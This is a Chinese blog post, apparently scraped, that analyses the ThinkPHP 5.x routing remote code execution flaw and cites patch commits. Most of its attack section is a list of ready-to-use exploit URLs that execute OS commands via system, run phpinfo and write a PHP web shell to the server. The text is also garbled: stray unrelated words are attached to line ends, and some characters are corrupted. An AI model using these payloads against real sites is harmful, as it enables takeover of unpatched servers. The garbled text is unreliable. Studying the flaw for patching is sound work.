近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。php
5.x < 5.1.31
<= 5.0.23git
远程代码执行github
如下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心
分析补丁:802f284bec821a608e7543d91126abc5901b2815
路由信息中controller
的部分进行了过滤,可知问题出如今路由调度时。
以5.1.23版本进行分析,执行路由调度的代码以下:
其中使用了$this->app->controller
方法来实例化控制器,而后调用实例中的方法。跟进controller
方法:
其中经过parseModuleAndClass方法解析出$module
和$class
,而后实例化$class
。rseModuleAndClass
方法中,当$name
以反斜线\开始时直接将其做为类名。利用命名空间的特色,若是能够控制此处的$name
(即路由中的controller部分),那么就能够实例化任何一个类。
接着,咱们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl
方法调用了route/Rule.php:: parseUrlPath
来解析pathinfo
中的路由信息
代码比较简单,就是使用/对$url
进行分割,未进行任何过滤。
其中的路由url从Request::path()
中获取
因为var_pathinfo
的默认配置为s
,咱们可利用$_GET['s']
来传递路由信息,也可利用pathinfo
来传递,但测试时windows
环境下会将$_SERVER['pathinfo']
中的\
替换为/
。
结合前面分析可得初步利用代码以下:index.php?s=index/\namespace\class/method
,这将会实例化\namespace\class
类并执行method
方法。
然而利用过程当中会存在一些限制,部分类在实例化时因为缺乏参数而报错。
通过一番寻找,在\think\Request
类中找到能够利用的方法input
。如下为执行phpinfo
thinkphp
直接从官网下载完整包解压到www(网站根目录)目录便可,URL指向public目录(如:http://localhost/TP5.0.22/public/ )shell
官方再也不提供完整版下载,笔者从composer
下载最新版后与官方GitHub进行了对比,发现如下几个仓库
Framework
think
think-installer
发现framework
仓库就是完整版中的thinkphp
目录think
仓库是thinkphp
的主架构think-installer
对应路径为path\to\thinkphp\vendor\topthink\think-installer
那么整合下就行了
最终目录架构
访问下windows
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
安全
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
架构
thinkphp5.1.29为例app
一、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
二、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操做系统命令
三、文件写入(写shell):http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
四、未知:http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
composer
五、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
六、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操做系统命令
七、代码执行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
八、命令执行:http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操做系统命令
Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815